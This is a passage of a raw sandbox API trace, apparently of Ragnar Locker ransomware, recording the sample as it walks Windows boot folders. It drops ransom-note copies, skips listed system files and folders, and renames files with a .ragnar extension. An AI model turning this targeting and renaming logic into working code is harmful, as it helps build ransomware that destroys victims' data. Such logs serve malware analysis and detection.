nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.468] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e899660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.468] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e899660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.468] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.468] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\pt-PT\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.468] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.468] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0047.468] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.468] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.468] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.469] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.469] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.469] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.469] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.469] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.469] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.469] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.469] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0047.473] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.473] CloseHandle (hObject=0xffffffff) returned 0 [0047.473] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" [0047.473] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.473] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.473] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e899660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.473] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\pt-PT\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.473] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.473] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\pt-PT\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.473] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.473] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e899660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.473] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.474] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e638060, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e638060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.474] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.474] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.474] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2=".") returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="..") returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="Windows") returned -1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="Windows.old") returned -1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="Tor browser") returned -1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="Internet Explorer") returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="Google") returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="Opera") returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="Opera Software") returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="Mozilla") returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="Mozilla Firefox") returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="$Recycle.Bin") returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="ProgramData") returned 1 [0047.474] lstrcmpiW (lpString1="ru-RU", lpString2="All Users") returned 1 [0047.474] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.474] lstrcpyW (in: lpString1=0x1ed660, lpString2="ru-RU" | out: lpString1="ru-RU") returned="ru-RU" [0047.474] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ru-RU", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\ru-RU\\") returned="\\\\?\\C:\\Boot\\ru-RU\\" [0047.474] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\ru-RU\\" | out: lpString1="\\\\?\\C:\\Boot\\ru-RU\\") returned="\\\\?\\C:\\Boot\\ru-RU\\" [0047.474] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ru-RU\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\ru-RU\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\ru-RU\\RGNR_FD7BD9FC.txt" [0047.475] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\ru-RU\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\ru-ru\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.804] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ru-RU\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\ru-RU\\*.*") returned="\\\\?\\C:\\Boot\\ru-RU\\*.*" [0047.804] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\ru-RU\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.804] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.804] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e899660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.805] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.805] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e899660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.805] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.805] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.805] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.805] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.805] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.805] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e899660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.805] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.805] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.805] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e899660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.805] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e899660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.805] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e899660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.805] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.805] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\ru-RU\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.805] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.805] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0047.805] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.805] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.805] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.805] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.805] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.805] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.805] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.806] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.806] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.806] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.806] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.806] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.806] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.806] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.806] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.806] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.806] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.806] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.806] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.806] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.806] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.806] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0047.806] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.806] CloseHandle (hObject=0xffffffff) returned 0 [0047.806] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" [0047.806] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.806] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.806] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e899660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.806] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\ru-RU\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.807] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.807] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\ru-RU\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.807] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.807] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e899660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.807] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.807] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2=".") returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="..") returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="Windows") returned -1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="Windows.old") returned -1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="Tor browser") returned -1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="Internet Explorer") returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="Google") returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="Opera") returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="Opera Software") returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="Mozilla") returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="Mozilla Firefox") returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="$Recycle.Bin") returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="ProgramData") returned 1 [0047.807] lstrcmpiW (lpString1="sv-SE", lpString2="All Users") returned 1 [0047.807] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.807] lstrcpyW (in: lpString1=0x1ed660, lpString2="sv-SE" | out: lpString1="sv-SE") returned="sv-SE" [0047.807] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\sv-SE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\sv-SE\\") returned="\\\\?\\C:\\Boot\\sv-SE\\" [0047.807] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\sv-SE\\" | out: lpString1="\\\\?\\C:\\Boot\\sv-SE\\") returned="\\\\?\\C:\\Boot\\sv-SE\\" [0047.807] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\sv-SE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\sv-SE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\sv-SE\\RGNR_FD7BD9FC.txt" [0047.807] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\sv-SE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\sv-se\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.809] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\sv-SE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\sv-SE\\*.*") returned="\\\\?\\C:\\Boot\\sv-SE\\*.*" [0047.809] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*.*", nBufferLength=0x104, 